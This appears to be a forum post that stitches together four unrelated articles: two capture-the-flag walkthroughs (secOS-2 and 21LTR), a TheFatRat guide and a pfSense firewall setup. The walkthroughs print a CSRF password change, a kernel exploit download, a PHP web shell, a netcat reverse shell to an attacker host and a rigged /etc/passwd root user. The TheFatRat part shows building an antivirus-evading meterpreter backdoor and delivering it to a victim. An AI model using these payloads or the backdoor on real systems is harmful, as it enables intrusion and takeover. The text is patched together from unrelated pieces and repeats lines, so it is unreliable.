Login

**NINZA** · 04-24-2020, 01:59 PM

0			0

Hello readers and welcome to another CTF challenge. It is developed by PaulWebSec. The aim of this lab is to get the root on the VM and read the congratulatory message. The virtual machine can be downloaded

[To see content please register here]

. I quickly loaded up the machine and it was primed and ready!
Steps involved:

IP discovery and port scanning
Running the web app
Running a CSRF attack on the administrator
Tricking admin to visit a fake page by sending him a message
Waiting a few minutes to let admin visit that page
Getting credentials and logging in SSH using these
Running overlayfs on the system
Getting root access!

So, let’s start.
I need not say this after so many articles but the first and foremost step is running netdiscover to find the IP address of the VM.
[Image: 1.png?w=687&ssl=1]

The IP address in my case was 192.168.1.128
I run an aggressive nmap scan on this IP address to find which ports were open and the first clue to start the attack on.
nmap -A 192.168.1.128
1
nmap -A 192.168.1.128
[Image: 2.png?w=687&ssl=1]

We found a web app working on port 8081. Without any delay, we opened it.
[Image: 2.png?w=687&ssl=1]

We found a web app working on port 8081. Without any delay, we opened it.
[Image: 3.png?w=687&ssl=1]

The first hint was the message shown—“Secure Web App is a part of the vulnerable VM called secOS-2”
Hence, we inferred that this VM has web-based vulnerabilities. Next step was to run a Nikto scan which didn’t yield much info either.
So, we ran dirb in hope that we find something good here.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Of course, there is a login page! And a login page in a web vulnerable app means a route to shell!
We moved forward to the login page directly.
[Image: 5.png?w=687&ssl=1]

Although on inspecting the page, there were no satisfactory results there was still a register user page available to us. We headed over there.
[Image: 6.1.png?w=687&ssl=1]

Since we got redirected to the home page, it was fair to assume we got registered. Let’s try and login into the web app using that test user.
[Image: 6.3.png?w=687&ssl=1]

There wasn’t much information on the page except for the fact we saw a “My Messages” tab on the homepage.
Although, it is worthy to note that Burp Spider showed us a page called “hint” and upon inspecting that page we found the following details:
First: The admin visits the site very frequently.
Second: He runs it locally on 127.0.0.1
Third: CSRF is applicable!
After some going around, we found under the “users” tab that Spiderman was the administrator. Could it be possible that we prompt the admin to change its password to our custom pass?
Hence, we wrote a quick HTML CSRF in a text file and saved as csrf.html inside /var/www/html.
[Image: 7.1.png?w=687&ssl=1]

What this does is that it will prompt the administrator user to change its password to “passw0rd”
We saved the page to /var/www/html directory, started apache, ran the HTML code and waited for 2-3 minutes and we got logged into administrator account!
[Image: 8.png?w=687&ssl=1]

We found 2 messages from the pirate user. One had a password for unidentified service. Could it be possible that this is a password for SSH?
We tried it out!
ssh [email protected]
1
ssh [email protected]
[Image: 10.png?w=687&ssl=1]

It worked!!
Next up, we looked for the Kernel version of the machine.
uname -a
1
uname -a
[Image: 16.png?w=687&ssl=1]

After a couple of minutes of searching for exploits for the given kernel version, we found something worth to our cause.
[Image: 17.png?w=687&ssl=1]

It is exploitable with an exploit called “overlayfs.”
We downloaded it and ran it.
cd /tmp
wget

[To see content please register here]

gcc –o exploit 37292.c
1
2
3
cd /tmp
wget

[To see content please register here]

gcc –o exploit 37292.c
[Image: 18.png?w=687&ssl=1]

After it got compiled using gcc, we ran it using:
./exploit
whoami
1
2
./exploit
whoami
[Image: 19.png?w=687&ssl=1]

Voila! It gave us a root shell.
cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
And just like that, it was over. Hope you enjoyed.
[Image: 20.png?w=687&ssl=1]

21LTR VM is a Boot to Root Challenge based on a scene that there is a penetration testing company and it has hired the players to perform the test on a client company’s internal network. We are given that the Target Machine has a static IP Address. You can download it from here:

[To see content please register here]

Penetrating Methodologies:

Network Scanning (Nmap, Netdiscover)
Examining HTTP web page
FTP Login for log.php file
Use PHP web shell one-liner
Insert netcat reverse_shell payload
Spawn TTY shell
Editing passwd file for Privilege escalation
Get Root access

Let’s Begin
Target Machine’s IP Address: 192.168.2.120
Our first step towards penetration testing is scanning our target with NMAP.
nmap 192.168.2.120
1
nmap 192.168.2.120
[Image: 1.png?w=687&ssl=1]

The result showed us that there are 4 ports opened: 21(FTP), 22(ssh), 80(HTTP), 10001(scp-config).
To further explore and we browsed URL on port 80 and we greeted with a C Program featuring a loop as shown in the given image.

[To see content please register here]

1

[To see content please register here]

After this, we thought to check it’s the source code which leads us to some Login Credentials.
Username: logs
Password: zg]E-b0]+8 Sad

58G
1
2
Username: logs
Password: zg]E-b0]+8 Sad

58G

So, we tried to connect with FTP through the login credentials we found. After the successful login, we looked around to find a backup_log.php file which we downloaded to our local machine to have a closer look.
ftp 192.168.2.120
1
ftp 192.168.2.120
[Image: 4.png?w=687&ssl=1]

After Downloading the file to our local system, we used the cat command to open the file in our terminal as you can see that it contains a PHP program that is used to generate backup logs on the target system.
cat backup_log.php
1
cat backup_log.php
[Image: 5.png?w=687&ssl=1]

Let’s see what we can find by directory brute forcing.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

It got us some directories but /logs looks more interesting so Let’s browse

[To see content please register here]

But as you can see in the image given below is that the logs directory is forbidden to access.
We tried to run some commands but didn’t get much success here.
[Image: 7.png?w=687&ssl=1]

This is where we got a bit stuck so after some internet searching hours we got in touch with the author of the lab and after his hint, we got that we have to further tweak the 10001 port.
nc -nv 192.168.2.120 10001
1
nc -nv 192.168.2.120 10001
We started a netcat session on the port 10001, we got a blank shell, which uses a PHP one-liner web shell
<?php system($_GET['cmd']) ?>
1
<?php system($_GET['cmd']) ?>
[Image: 8.png?w=687&ssl=1]

Now after using that PHP one-liner, let’s see if we can run some commands. We tried to run the whoami command. It replied with apache. This proves that we can run commands from here.

[To see content please register here]

1

[To see content please register here]

As we observed above that the commands run successfully, now we will try to get a reverse shell on our local machine using netcat. We will be doing this as shown in the image.

[To see content please register here]

-e /bin/sh 192.168.2.12 443
1

[To see content please register here]

-e /bin/sh 192.168.2.12 443
[Image: 10.png?w=687&ssl=1]

Meanwhile, we ran that command we also started a netcat listener on our local machine so as to get the shell which will be generated.
nc -lvp 443
1
nc -lvp 443
And as you can see that we got a basic bash shell on port 443 as shown in the image.
But this was an incomplete and improper shell so we invoked a proper shell using a python one-liner
python -c 'import pty; pty.spawn("/bin/sh")'
1
python -c 'import pty; pty.spawn("/bin/sh")'
[Image: 11.png?w=687&ssl=1]

Now, we are in the target machine but still, we have to escalate the privilege to become root. Here we started to enumerate the target machine for any possible way to get root.
After looking for a while we found an RSA private key in the media directory. We copied the key to our local machine.
cat id_rsa
1
cat id_rsa
[Image: 12.png?w=687&ssl=1]

Now we navigated to the user “passwd file” to get the info about the username that we can use for getting the ssh session. We found hbeale.
[Image: 13.png?w=687&ssl=1]

Now the RSA Private we copied, we saved it as id_rsa and change its permission using the chmod command so that it can act as the ssh private key.
chmod 600 id_rsa
1
chmod 600 id_rsa
After this, we tried to connect to the target machine using ssh by user hbeale and the private key.
ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]
And as you can see in the image given that we successfully got the shell of user hbeale. But as this is a boot to root challenge we have escalated this shell into a root shell.
[Image: 14.png?w=687&ssl=1]

We used the sudo -l command to extract the information about the command that can be run as root. We found out that we can run cat command.
[Image: 15.png?w=687&ssl=1]

Now back to our local machine, here we will use the OpenSSL command to create a password salt for our new user that we will use to log into the target machine.
openssl passwd -1 -salt user3 pass123
1
openssl passwd -1 -salt user3 pass123
[Image: 16.1.png?w=687&ssl=1]

On the Target machine, we use the cat command to edit the /etc/passwd file with the login credentials of the user we meant to create (which is going to have the root privileges).
sudo /usr/bin/cat >> /etc/passwd
1
sudo /usr/bin/cat >> /etc/passwd
After successfully edit the /etc/passwd file, we will substitute the new user we created using the su command. After entering the password which we created earlier, we login to the root shell.
This concludes this Boot to Root Challenge.
[Image: 16.png?w=687&ssl=1]

TheFatRat is an easy tool for generate backdoor with msfvenom ( part of metasploit framework ) and program compiles a C program with a meterpreter reverse_tcp payload In it that can then be executed on a windows host Program to create a C program after it is compiled that will bypass most AV

First, to install thefatrat we type the following command on terminal:

git clone

[To see content please register here]

Once the cloning is done, go to the installed directory of fatrat and open it in terminal and type the following command to start it:

./fatrat

It will show you many options now select option 1 which is to CREATE BACKDOOR WITH MSFVENOM.

Now it will give a list of options to choose the format of the backdoor which you have to choose as per your requirements and need. To create a windows executable as a backdoor choose option 2.

Now enter the LHOST IP i.e. your system IP and LPORT i.e. the port you want the reverse connection on your i.e. attacker system. In my case the LHOST is 192.168.0.104 and LPORT is 4444.

And then exit the script by selecting y when asked

Now the generated backdoor will be present in the output directory.
[Image: 4.png?w=687&ssl=1]

Now use any trick up your sleeve to transport the backdoor to the victim and set up reverse handler on metasploit with the following commands on the msf terminal-

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.104 (the attacker system IP)

set lport 4444

exploit

Now as soon as the backdoor is executed on the victim’s machine you will get a meterpreter shell as you can see in my case.

For More Details Visit

[To see content please register here]

Firewall: It is a computer system or network that is designed to block unauthorized access while permitting outward communication. Firewall holds a lot of importance in our technical world as it assures our system’s as well as data’s security. And a firewall in a network helps us to secure the whole network. It acts as a network security device that grants or rejects network access to traffic flows between untrusted zones. Thus, the importance of the Firewall.

To secure a network we should always use a third party firewall instead of windows own firewall as it makes configuration of all network easy and in one system only. If you will use windows own firewall you have to configure if PC by PC which will take a lot of your time.

Setting up a firewall can be complicating. Therefore in this article, we will learn how to set up a firewall using PFSense. By setting this firewall we will create a wall between our networks which will delude our network into two parts i.e External network and internal network.

You can download ISO image for PFSenese from

[To see content please register here]

:

Now that you have ISO image, setup PFSense in your virtual machine just like you set up your windows and turn its power on and PFSense will open:

And it will boot itself automatically in few seconds:
[Image: 2.png?w=687&ssl=1]

Once it’s rebooted, select accept these Settings.
[Image: 3.png?w=687&ssl=1]

From the next dialogues, box select Quick/Easy Install.
[Image: 4.png?w=687&ssl=1]

When you click on ok it will allow the installation process to begin without asking unnecessary questions:
[Image: 5.png?w=687&ssl=1]

And the installation begins:
[Image: 6.png?w=687&ssl=1]

Now for installing custom configuration select Standard Kernel option.
[Image: 7.png?w=687&ssl=1]

And it will start installing:
[Image: 8.png?w=687&ssl=1]

Now, select the Reboot option so that the firewall can start.
[Image: 9.png?w=687&ssl=1]

Thus, rebooting will begin.
[Image: 10.png?w=687&ssl=1]

After the rebooting process, it will ask you if you want to set up VLAN’s. Here just type n for no and hit enter.
[Image: 11.png?w=687&ssl=1]

Now it will ask you to name WAN and LAN interface. Give le0 name to WAN and le1 to LAN. Then just hit enter when it asks you to name optional interface.

It will show you the interfaces and their name now and will require your permission to proceed. Press y for yes as you are permitting it to proceed.

Now, in the following image you can see that it has automatically taken IP address for WAN i.e 192.168.1.7, if you wish to set the desired IP for WAN then choose 2 option and press 1 for the configuration of WAN.

It will ask you that if you want to assign the IPv4 IP address. Here, press n for no. When you hit enter it will ask you if you want to assign IPv4 IP address. Here, enter your desired IP address and press enter. Then it will ask you to give subnet mask for the IP address that you have just entered. Now as our IP address was of C-class we will give 24 as the subnet mask. After hitting enter it will ask you if you want to give upstream gateway. Here, just press enter. And when it asks you to set IPv6 via DHCP6 then simply press enter without typing anything else as we do not require IPv6. And when it asks you for HTTP web configuration press n for no.

You can see that your desired IP for WAN has been set up. Hit enter to continue.
[Image: 16.png?w=687&ssl=1]

Similarly, you can set up LAN IP address by selecting 2 for assigning an IP address and select 2 for LAN.
[Image: 17.png?w=687&ssl=1]

Just like before, it will ask you for the IP address of LAN and so you enter your LAN IP address. And then it will ask you for the subnet mask, here we have given subnet mask of 8 as our IP is of A-class. Just hit enter when it asks you to enter the upstream gateway. And also hit enter when it asks you to enter IPv6 as we do not require it. And then press y for HTTP revert option.

And just like this, your LAN IP address has been set up. Now, press enters to continue.
[Image: 19.png?w=687&ssl=1]

Now to check that your firewall has been configured properly, let’s ping an IP address. Select option 7 and enter the IP address you want to ping. If it successfully pings that means your firewall has been configured successfully. And you can press enter to continue.

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis